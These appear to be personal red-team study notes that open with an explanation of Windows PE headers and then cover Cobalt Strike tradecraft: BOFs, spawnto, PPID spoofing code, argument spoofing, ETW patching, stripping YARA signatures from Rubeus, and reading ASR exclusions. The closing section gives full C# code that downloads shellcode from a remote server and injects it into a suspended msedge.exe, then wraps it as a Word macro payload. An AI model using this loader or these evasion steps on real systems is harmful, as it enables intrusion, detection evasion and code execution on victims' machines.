Parsing Portable Executable Headers means reading and interpreting the metadata at the beginning of a PE file. By parsing a PE header we can extract information about how the file is intended to be loaded and executed, dependencies and other characteristics for various technical tasks.
Some tools that can be used to parse PE Headers include, but not limited to;
- PE Bear
- PEview
- PE Explorer
- dumpbin
- pedump

Portable Executable Format
- PE Overview - https://0xrick.github.io/win-internals/pe2/
- DOS Header, DOS Stub and Rich Header - https://0xrick.github.io/win-internals/pe3/
- NT Headers - https://0xrick.github.io/win-internals/pe4/
- Data Directories, Section Headers and Sections - https://0xrick.github.io/win-internals/pe5/
- PE Imports (Import Directory Table, ILT, IAT) - https://0xrick.github.io/win-internals/pe6/
PE, or Portable Executable, are executable file format on Windows. Some PE file extensions include .exe, .dll, .sys and .src.
The headers you see in the image below are defined as data structure that holds information about the PE file. Now lets go through each header to understand them better.

DOS Header (IMAGE_DOS_HEADER)
DOS Header is a 64-bit long structure. DOS Header have always these prefixed bytes; 0x4D and 0x5A. They are also known as MZ which is the headers signature. These bytes confirms that the file being parsed or inspected is a valid PE file. DOS Header is not important for the functionality of the PE files on modern Windows systems, but it is used for backward compability.
DOS Header data structure.
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
The important members of this structure is:
e_magic: This is the prefixed values0x4D5AorMZ. It's the signature that marsk the file as MS_DOS executable.
e_lfanew: This member is important because it tells the PE loader on Windows systems where to look for the file header.
Below we have loaded calc.exe again in PE Bear.

We can see that the value for the first struct member is 0x5A4D and the last member at the offset 0x3C is C8. This is where the start of the NT Header is.

DOS Stub
This is not a PE Header but it prints out the error message "This program cannot be run in DOS mode" in case the program is loaded in DOS mode or "Disk Operating Mode".
NT Header (IMAGE_NT_HEADER)
NT Header is essential because it integrates two other image headers, FileHeader and OptionalHeader which include a large amount of information about the PE file. NT Header, similar to DOS Header have a signature, which is equal to "PE". This is represented by the bytes 0x50 and 0x45. Since the signature is of data type DWORD it is written as 0x50450000 which is padded by two null bytes.
The NT Header structure depends on the machines architecture. The difference is with the third member IMAGE_OPTIONAL_HEADER32 and IMAGE_OPTIONAL_HEADER64.
// 32 - bit
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
// 64 - bit
typedef struct _IMAGE_NT_HEADERS64 {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;
We can look at the NT Header in PE Bear. Notice that it starts with "PE".

File Header (IMAGE_FILE_HEADER)
The data structure for FileHeader. Source. It can be accessed from NT Header structure.
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
The important members here are:
NumberOfSections: The number of sections in the PE Header
SizeOfOptionalHeader: The size of the following optional header
Characteristics: Flags about the attribute of the PE file, such as if its a Dynamic Link Library (DLL) or a console application.
The image below tells us that calc.exe have 3 sections, size of OptionalHeader is 240 (since hex f0 is 240 in decimal) and that this is an executable.

Optional Header (IMAGE_OPTIONAL_HEADER)
The reason its called OptionalHeader is because some file types dont have it. This is though an essential header for the execution of PE file. The PE Loader looks for specific information in the header in order to load and run the executable.
There are two versions, 32-bit and 64-bit. The difference is the size of some members, wheras 64-bit will use ULONGLONG data type, while 32-bit will use DWORD.
Lets look at the strucutre.
// 32 - bit
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
// 64 - bit
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
From Microsoft documentation.
Magic: The state of the image. It can either be 32-bit or 64-bit image.
MajorOperatingSystemVersion: The major version number of the required operating system. (Windows 10, 11 etc).
MinorOperatingSystemVersion: The minor version number of the operating system.( 1511, 1507 etc).
SizeOfCode: Size of the code section in bytes (.text) or size of all code sections if there are multiple.
AddressOfEntryPoint: The main function or starting address. If DLL the EntryPoint is optional. When no entry point, its zeor.
BaseOfCode: Offset of the start of the .text section.
SizeOfImage: Size of image file (including headers).
ImageBase: Specify the preferred address which the application is going to be loaded into memory when executed. Because of ASLR (Address Space Layout Randomization) the address specified in the filed is never used. The loader will go through PE Relocations to fix these addresses.
DataDirectory: Most important member of the header. An array ofIMAGE_DATA_DIRECTORY. Contains the directories in a PE File.
Lets open PE Bear again and look at the OptionalHeader.

Data Directory (IMAGE_DATA_DIRECTORY)
Data Directory is the OptionalHeaders last member. It is an array of data type IMAGE_DATA_DIRECTORY. It has the following structure.
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
Data directory contains important information for the loader. As I mentioned, the data directory is an array of data. Each entry in the array represents an important part of the PE. This can be import directory which contains a list of external functions imported from other libraries.
Going back to our calc.exe we can see the Data directory in PE Bear.

The two important data directories here are Export Directory and Import Address Table.
- Export Directory
The Export Directory contains a list of all the functions that the PE will export. (In other words, make available to other programs). Usually, Export Directory are found in DLL's that export functions. For example, you run a program that needs to use CreateFileA from kernel32.dll. The operating system will look at the export table of kernel32.dll and find the address to CreateFileA and link it to your program.
Now if we load kernel32.dll in PE Bear we can look at the Export Directory.


- Import Address Table
The IAT contains information about addresses of the functions imported from other executables. This can for example be that our calc.exe is importing VirtualAlloc from kernel32.dll.

PE Sections
This is where the code and data used create an executable program relies. Each PE Section have a unique name and contains executable code, data or resource information.
The PE Sections are dynamic, meaning that the compiler add, remove or merge sections, and some sections can be added later. Its the IMAGE_FILE_HEADER.NumberOfSections that helps determine the number of sections.
One thing to note is that a payload can be stored in one of the different PE Sections, such as .text, .data or .rdata.
.text- This is where the executable code is located. This is where the actual instructions that the CPU executes.
.data- Hold initialized global and static variables in the code. So any given variable in the code that are given an initial value at the time of decleration go here in the.datasection.
.rdata- Contains read-only data like constant varialbe or string litreals that are not ment to be modified.
.idata- This sections holds theImport Address Table (IAT). This is, like we mentioned earlier, is where the program calls a function from a DLL, likeCreateFileAfromkernel32.dll.
.reloc- If you remember theImageBasemember from theIMAGE_OPTIONAL_HEADER, where it specify a preferred addres but because of ASLR it will never used the specief address. In.relocsection in stores relocation information. This means that even though it didnt use the preferred address,.relocsection makes sure that the system adjust the memory address of the instructions and variables so that they work correctly regardless of where the program is loaded. It tells the system how to update the address so the program functions correctly.
.rsrc- Contains resources like icons, images, dialogs, version information and other non-code assets.

Each PE Section have an IMAGE_SECTION HEADER data structure that contains information about it. These headers are stored after the NT Headers as you can see from the image above.
The IMAGE_SECTION_HEADER structure is:
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Name- The name of the section. (.text, .data, .rdata etc...).
PhysicalAddressorVirtualSize- The size of the section when it is in memory.
VirtualAddress- Offset of the start of the section in memory.
Parsing of PE Headers
Now that we have a good understanding of PE Headers and what kind of data you kind find at each header, its time to understand how we can parse PE Headers. As we mentioned earlier parsing of PE headers is a way to read and interpert metadata at the beginning of a PE file.
Source -Maldev Academy Module 50
- Relative Virtual Address (RVA)
RVA's are addresses used to reference location within the PE file. It's a 32-bit value that represents a position or code inside the PE file. RVA is relative to the beginning of the file. RVA is a fixed value. It's basically telling the operating system how far each section is from the beginning of the file.
For example a data section might start at RVA 0x5000. That means its located 0x5000 bytes from the beginning of the file.
The formula to calcute RVA to an Absolute Virtual Address is:
VA=Image Base + RVA
So for example an Image Base have an address at 0x10000000 and the RVA of a data in the PE file is at 0x5000, we can calculate the Absolute Virtual Address like this:
VA = 0x1000000 + 0x5000 = 0x10005000
- PE Parsing in C
The code in the file below is based off of the code from maldev academy.
Object Files
Continue this at a later time...
Develop BOF
In order to develop our own BOF we need beacon.h. How do I develop a BOF? (helpsystems.com)
In Visual Studio add the header file.

Then include the directory where the header is located. You can use $(ProjectDir) if the header is located in the project folder.

And lastely include the header in the code.
#include "beacon.h"
To compile the bof there are several ways to do it. Either using the VS Developer Command Prompt.

cl.exe /c /GS- /FoCS_BOF.o CS_BOF.c
Or using WSL using the commands:
root@DESKTOP-NU2VDB2:/mnt/c/U/A/O/D/S/CS_BOF/CS_BOF# x86_64-w64-mingw32-gcc -c CS_BOF.c -o bof.o
To execute the bof in the beacon:
beacon> inline-execute bof.o
You can find many different bof's here.
BOF Memory Allocations
As with the reflective loader, BOF memory allocations are also done using RWX.
Fork and Run Memory Allocations
As we have mentioned earlier, a fork and run will spawn a "temporary" process and inject the DLL into it. Fork and run have two variants, one "Process Injection Spawn" and "Process Injection Explicit". The first one spawns a temporary process and inject the DLL into it, while the "explicit" inject a DLL into an already running process.
In order to make fork and run a bit more OPSEC safe there are some options we can add in the mallable C2. Cobalt Strike 4.5: Fork&Run - You're "history" | Cobalt Strike
post-ex {
set obfuscate "true";
set cleanup "true";
}
The first one will obfuscate the reflective DLL when loading it into memory and will also set the memory permissions to RW/RX. While the cleanup will free the reflective loader from memory after it has loaded the post-ex DLL. The cleanup option is important when using "explicit" for and run, because you will otherwise leave an instance of the reflective loader in memory of those process.
If we now try and execute mimikatz before updating the mallable C2 and set a sleep timer so we can look at the memory we can see two RWX regions thats quiet large.
beacon > mimikatz standard::sleep 60000

Now if we load the new profile and execute a beacon we can see that it only has one RX memory region and the size is smaller.

SpawnTo
Spawnto can be used to spawn a legitimate looking process, and inject malicous code into it to evade detection.
If we look at the first image from the heading above we can see that the beacon spawns rundll32.exe as a child of the current beacon process. This is the default behaviour for spawnto and is always flagged by EDR and AV.
We can however change the spawnto using the spawnto command.
beacon> help spawnto
Use: spawnto [x86|x64] [c:\path\to\whatever.exe]
Sets the executable Beacon spawns x86 and x64 shellcode into. You must specify a
full-path. Environment variables are OK (e.g., %windir%\sysnative\rundll32.exe)
Do not reference %windir%\system32\ directly. This path is different depending
on whether or not Beacon is x86 or x64. Use %windir%\sysnative\ and
%windir%\syswow64\ instead.
Beacon will map %windir%\syswow64\ to system32 when WOW64 is not present.
No if we want we can set the spawnto to notepad.exe.
spawnto x64 %windir%\sysnative\notepad.exe
And we can see that notepad.exe is spawned as a child of the beacon process instead of rundll32.exe. The beacon uses CreateProcessA Windows API to spawn whatever process we want

You can hardcode the default spawnto in the mallable C2.
post-ex {
set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
}
PPID Spoofing
PPID Spoofing is a technique that allows us to change the parent process for a spawned child. If our beacon is for example running in powershell.exe we can spawn a process as childre of a different process, such as explorer.exe.
This is achieved with the STARTUPINFOEXstruct, with the member LPPROC_THREAD_ATTRIBUTE_LIST. The attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS is used for PPID Spoofing. When a process is created it usually inherits its parent process ID (PPID) from the process that created it. But using the attribute mentioned we can specify a different process, making it seems like it has another PPID that it actually has.
From the Microsoft documentation:
> {| class="wikitable" > |- > | The lpValue parameter is a pointer to the handle of a process to use (instead of the calling process) as the parent for the process being created. The handle for the process used must have the PROCESS_CREATE_PROCESS access right. > |} > UpdateProcThreadAttribute function (processthreadsapi.h) - Win32 apps | Microsoft Learn
In order to understand this more, the code below taken from RTO2 will demonstrate how PPID spoofing works. I've expanded a bit in the comments in order to understand the code better.
#include
#include
int main()
{
const DWORD attributeCount = 1;
LPSTARTUPINFOEXW si = new STARTUPINFOEXW();
si->StartupInfo.cb = sizeof(STARTUPINFOEXW);
SIZE_T lpSize = 0;
// call once to get lpSize. Used to determin how much memory allocation is needed.
// An attribute holds properties that controls how a process or thread behaves when it is created, like specify the parent process as we are doing here.
InitializeProcThreadAttributeList(
NULL,
attributeCount,
0,
&lpSize);
// allocate the memory
si->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(lpSize);
// call again to initialise the list.
InitializeProcThreadAttributeList(
si->lpAttributeList,
attributeCount,
0,
&lpSize);
// open a handle to the desired parent.
// We have to hardcode the PID, but we could create a function to enumerate process using the Native API NtQuerySystemInformation instead of hardcoding PID.
// But for this demo this is not required.
HANDLE hParent = OpenProcess(
PROCESS_CREATE_PROCESS,
FALSE,
26188); // hardcoded pid of explorer
// update the list.
// Treat the specified process (The parent) as the "parent" for the newly created process. (notepad.exe).
UpdateProcThreadAttribute(
si->lpAttributeList,
NULL,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(HANDLE),
NULL,
NULL);
// create process
PPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
wchar_t cmd[] = L"notepad.exe\0";
CreateProcess(
NULL,
cmd,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&si->StartupInfo,
pi);
// print the pid
printf("PID: %d\n", pi->dwProcessId);
// cleanup list and memory
DeleteProcThreadAttributeList(si->lpAttributeList);
free(si->lpAttributeList);
// close handle to parent
CloseHandle(hParent);
}

Now to do the same in Cobalt Strikes post-ex Fork and run commands, we can use the command ppid.
beacon> help ppid
Use: ppid [pid]
Use specified PID as parent for processes Beacon launches. The runas command
is not affected, but most other commands are.
Type ppid by itself to reset to default behavior.
WARNING: Do not specify a parent PID in another desktop session. This may
break several of Beacon's features and workflows. Use runu if you want to run
a command under a parent in another desktop session.
We can combine this with the Spawnto command. We make msedge.exe as the PPID, and we inject the malicous code into msedge.exe using ppid command.
The PID 11964 is the PID for the msedge.exe.


Process Injection Kit
Command-line Argument Spoofing
When using CreateProcess it will look different in the logs against launching it through Windows UI. You can see the difference in the picture below.

You can use argue to use argument spoofing in Cobalt Strike.
beacon> help argue
Use: argue [command] [fake arguments]
argue [command]
argue
Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.
Use argue [command] to disable this feature for the specified command.
Use argue by itself to list programs with defined spoofed arguments.
In the below image have a set a benign powershell command as the fake argument, which just checks free disk spaces and running process.

If we now look at the sysmon logs we can see that our fake argument is passed as CommandLine:, while our real command is not logged.

argue can be used with other commands as well, and is not only limited to powershell.


SMB Named Pipe Names
You can think of pipes as network sockets that can be used to send and receive data between process running on the same machine. Cobalt Strike SMB Beacon uses named pipes to communicate with a beacon. It works on the same host as well as across the network. Windows encapsulate named pipes within the SMB protocol. What this means is that Windows uses SMB protocol to enable named pipes to communicate over a network, not just within a single machine.
SMB beacon uses named pipes in four different ways:
- To retrieve information from fork and run commands
- Connect to Beacons SSH server
- SMB Beacons named pipe stagers
- C2 communication in the SMB Beacon itself, allowing for communication between compromised host on the network.
Many sysmon configs only log specific known pipenames. If you change the pipename to something random, it will help you evade detection most of the time. If you choose to use names from legitimate application, such as "mojo" pipe name that Google Chrome uses, remember to make sure that ppid and spawnto matches this pretex.
Sysmon event ID 17 - Pipe Created
Sysmon event ID 18 - Pipe Connected
The above Sysmon events can be used to spot default pipe names used by Beacon.
In the below image we can see the command powerpick used with spawnto set to notepad for demonstration.

SMB Beacon
In order to use SMB beacon, start a listener in Cobalt Strike and choose "Beacon SMB" - payload. Choose a pipename for your engagement. Make sure that you already have a beacon on the target machine.
The SMB beacon used in Cobalt strike is fileless and operates only in memory. You can read more about fileless lateral movement here and a C# code example. Handbook II – Advanced – BOOK_GHANIM

Now select the beacon you have on the target machine, and use the jump command to spawn a new SMB beacon the target.
jump psexec64 <target> <SMB listener>


Note that since the user on the target is local administrator, I will get a Beacon with SYSTEM privileges.
Now, lets look at the Sysmon logs.

The image above shows that there are two Sysmon events with ID 17 and 18. One where the pipe is created, and another where the pipe is connected.
Event Tracing for Windows
Source 2 - Maldev Academy New Module 12
Event Tracing for Windows or ETW, is a tracing mechanism built into Windows. It allows for collecting detailed information about events and activities that happens on the system. Events are generated by the system wether it is executed by the OS like loading a dll, or by a user like opening or saving a file. Events are generated by user-mode application or kernel-mode drivers, and saved to log files.
ETW Components are built into Windows OS kernel. ETW functionality is exposed to user-mode applications through a set of WinAPI's. These application can use these API's to write events, configure events to be logged, etc. Some of these API's are:
- EventWrite and EventWriteEx - Write an event to the ETW event stream. These WinAPIs are also named
EtwEventWriteandEtwEventWriteEx, respectively.
- StartTraceA and StopTraceA - Start and stop an ETW tracing session.
- QueryAllTraces - Retrieves the properties for all running ETW tracing sessions.
One method to bypass ETW is to patch ntdll!EtwEventWrite. In Cobalt Strike 4.8 a new patch was introduced that allows a Beacon to perform memory patchines (outlined in Adam Chester's research - Source 3). The two commands that supports this patch is execute-assembly and powerpick.

The command to patch EtwEventWrite in Cobalt Strike is:
execute-assembly "PATCHES: ntdll.dll,EtwEventWrite,0,C3 ntdll.dll,EtwEventWrite,1,00" /root/Rubeus.exe
InlineExecute-Assembly
execute-assembly allows attacker to load .NET assemblies in-memory without touching the disk. Since this uses fork and run it will be hard to evade detection against good EDR or AV. Thats because, as we have mentioned earlier, it will spawn a temporary process --> load and execute the assembly inside it using reflective DLL --> read the output over named pipe. So even with ETW patching and AMSI bypass it will be hard to evade detection.
InlineExecute-Assembly is a BOF that allows .NET assemblies to be loaded and executed within the Beacon itself, without the use of fork and run.
To use InlineExecute-Assembly in Coblat Strike, do the following (See the github for more info):
- Copy the inlineExecute-Assembly folder with all of its contents to a system you plan to connect with via the Cobalt Strike GUI application.
- Load in the inlineExecute-Assembly.cna Aggressor script
- Run inlineExecute-Assembly --dotnetassembly /path/to/assembly.exe for most basic execution (see use cases below for specific flag examples)

Now inside the Beacon we can execute InlineExecute-Assembly.

For more detailed use case scenario reference the github repo to see more command examples.
Tool Signature
Even though you implement many techniques mentioned above like PPID spoofing, spawnto, process injection, in-memory execution, your payload might trigger a static signatures.
Elastic Security have open-sourced their endpoint security protection YARA ruleset. You can find them here.
Lets take Rubeus.yar as an example.

If we look at the condition, it says that it will trigger the alert if:
- The
$guidmatches the string OR it matches 4 of the 7 strings from$print_str.
Lets first start with the GUID.

We can generate a new GUID.

And for the other conditions we can search for them in the code and just change them up or remove them all together. I used grep -irl to find the strings.

You could also use "Replace in Files" in Visual Studio.

Metadata file
Adding metadata to a file can make it seem more legitimate. If look at Details for the file below you can see that it is empty. We can add metadata in Visual Studio.

Locate or Create a Resource File:
- In Solution Explorer, look for an
.rcfile (e.g.,Resource.rc).
- If it doesn’t exist, right-click on the project, choose Add > New Item, and select Resource File (.rc).
Add Version Information:
- Add a Version Resource:
Right-click in the Resource View.
- Select Add Resource -> Version.

After adding metadata and compiling it will look like this.

Attack Surface Reduction (ASR)
ASR are sets of rules and configuratins that prevents common attack vectors. These can be
- Malicous Executable Files
- Unauthorized Access
- Explotaiton of Vulnerabilities
Some key ASR rules include:
- Block executable content from email
- Use advanced protection features
- Enforce rules in audit mode
ASR can be enabled via GPO, Intune MDM or Powershell. Its only available using Windows Defender, so ASR is not available if you're using another AV.
Attack surface reduction rules reference - Microsoft Defender for Endpoint | Microsoft Learn
Enumerating Enabled ASR rules
Rules can be read from any user, while Exclusion can only be read by local admin.
There are two types of exclusion:
- default exclusions by Microsoft
- custom exclusions - usually defined in GPO
You can read applied ASR configuration from the local registry or Get-MpPreference.
(Get-MpPreference).AttackSurfaceReductionRules_Ids (Get-MpPreference).AttackSurfaceReductionRules_Actions
Registry location: HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR.
From beacon: reg queryv x64 HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR ExploitGuard_ASR_Rules
You can also read the rules remotely from Registry.pol file found in the gPCFileSysPath of the GPO.
Each rule is referenced by a GUID and can be looked up in the reference page here.

And we can reference these GUID in the reference page.

MS Office Rules
There are three main ASR rules applied to Office documents:
- Block all Office applications from creating child processes - This rule prevents us from running commands like powershell from an office document. Like this oneliner.
- Block Win32 API calls from Office macros - This rules prevents us from calling Win32 API from a saved document.
- Block Office applications from injecting code into other processes - This rule prevents us from injecting shellcode or manipulate memory in other processes.
Reversing ASR Exclusion
Windows Defender signatures/rules are stored in VDM containers. We can use tools like · GitHub WDExtract.py to decrypt and extract the PE images from these containers.
You need Luadecinstalled on the machine before you can use WDExtract.py.
Location of VDM containers: C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\mpasbase.vdm
Run the asr.py to extract, parse and decompile VDM.
python3 asr.py mpasbase.vdm --decompile wd-extracted
The .lua files are decompiled versions of VDM. We can now grep to find file relevant to a rule.
grep "Block all Office applications from creating child processes" *.lua


GetMonitoredLocations - defines all the sources processes that this rule will apply to.
GetPathExclusion - application paths that will be excluded from this ASR rule. This are locations where Office can spawn children.
GadgetToJsScript
GadgetToJsScript can generate serialized gadgets from .NET (C#) code and uses unsafe binary formatter to trigger arbitrary code execution. Serialization is the process of converting objects into a format like binary or text. When the data is transferred to target and deserialized (Converted back into an object) using unsafe method like BinaryFormatter, it will cause the target to run the malicous code. The attacker can use languages like JS, VBA og VBS to deliver the malicous serialized code.
The way to use GadgeToJsScript is similar to DotNetToJsScript. Handbook II – Advanced – BOOK_GHANIM
So use GadgetToJscript:
- Open the solution
- Inser the malcious code inside
TestAssembly
- Compile the solution
- For this task we will use VBA. So we will generate a VBA from
TestAssembly.
- Paste the content of
inject.vbain a Word macro.
GadgetToJScript.exe -w vba -b -e hex -o inject -a C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali\GadgetToJScript-master\GadgetToJScript-master\TestAssembly\bin\Release\TestAssembly.dll


To make this more interesting, we will get a Beacon up and running with Cobalt Strike. Let's assume that we have enumerated a target machine with ASR. We have extracted the ASR rules and found that C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe is excluded.
I will use the code from the RTO2 course. The code below will fetch shellcode.bin from my webserver. (Here I could setup a domain with SSL and redirect rules), spawn a process msedge.exe in a suspended state, add command line arguments to make it look legitimate, allocate memory for the shellcode with RW permissions, write the shellcode to allocated memory region, change the permission to RX, execute the payload through asynchronized procedure call (APC) (Execute the shellcode in the context of primary thread of msedge.exe process), resume thread to resume the suspended thread to execute our payload.
using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace TestAssembly
{
public class Program
{
[Flags]
public enum CreationFlags : uint
{
CREATE_NO_WINDOW = 0x08000000,
CREATE_SUSPENDED = 0x00000004
}
[Flags]
public enum VirtualAllocationType : uint
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000
}
[Flags]
public enum PageProtectionFlags : uint
{
PAGE_READWRITE = 0x04,
PAGE_EXECUTE_READ = 0x20
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessW(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
VirtualAllocationType flAllocationType,
PageProtectionFlags flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
PageProtectionFlags flNewProtect,
out PageProtectionFlags lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint QueueUserAPC(
IntPtr pfnAPC,
IntPtr hThread,
IntPtr dwData);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
public Program()
{
byte[] shellcode;
using (var client = new WebClient())
{
// make proxy aware
client.Proxy = WebRequest.GetSystemWebProxy();
client.UseDefaultCredentials = true;
// set allowed tls versions
shellcode = client.DownloadData("http://10.2.99.1/shellcode.bin");
};
var startup = new STARTUPINFO { dwFlags = 0x00000001 };
startup.cb = Marshal.SizeOf(startup);
var success = CreateProcessW(
@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
@"""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --no-startup-window --win-session-start /prefetch:5""",
IntPtr.Zero,
IntPtr.Zero,
false,
CreationFlags.CREATE_NO_WINDOW | CreationFlags.CREATE_SUSPENDED,
IntPtr.Zero,
@"C:\Program Files (x86)\Microsoft\Edge\Application",
ref startup,
out var processInfo);
var baseAddress = VirtualAllocEx(
processInfo.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
VirtualAllocationType.MEM_COMMIT | VirtualAllocationType.MEM_RESERVE,
PageProtectionFlags.PAGE_READWRITE);
success = WriteProcessMemory(
processInfo.hProcess,
baseAddress,
shellcode,
(uint)shellcode.Length,
out _);
success = VirtualProtectEx(
processInfo.hProcess,
baseAddress,
(uint)shellcode.Length,
PageProtectionFlags.PAGE_EXECUTE_READ,
out _);
_ = QueueUserAPC(
baseAddress,
processInfo.hThread,
IntPtr.Zero);
ResumeThread(processInfo.hThread);
CloseHandle(processInfo.hThread);
CloseHandle(processInfo.hProcess);
}
}
}
We then build the solution and generate a VBA using GadgetToJsScript.
GadgetToJScript.exe -w vba -b -e hex -o inject -a C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali\GadgetToJScript-master\GadgetToJScript-master\TestAssembly\bin\Release\TestAssembly.dll
[+]: Generating the vba payload
[+]: First stage gadget generation done.
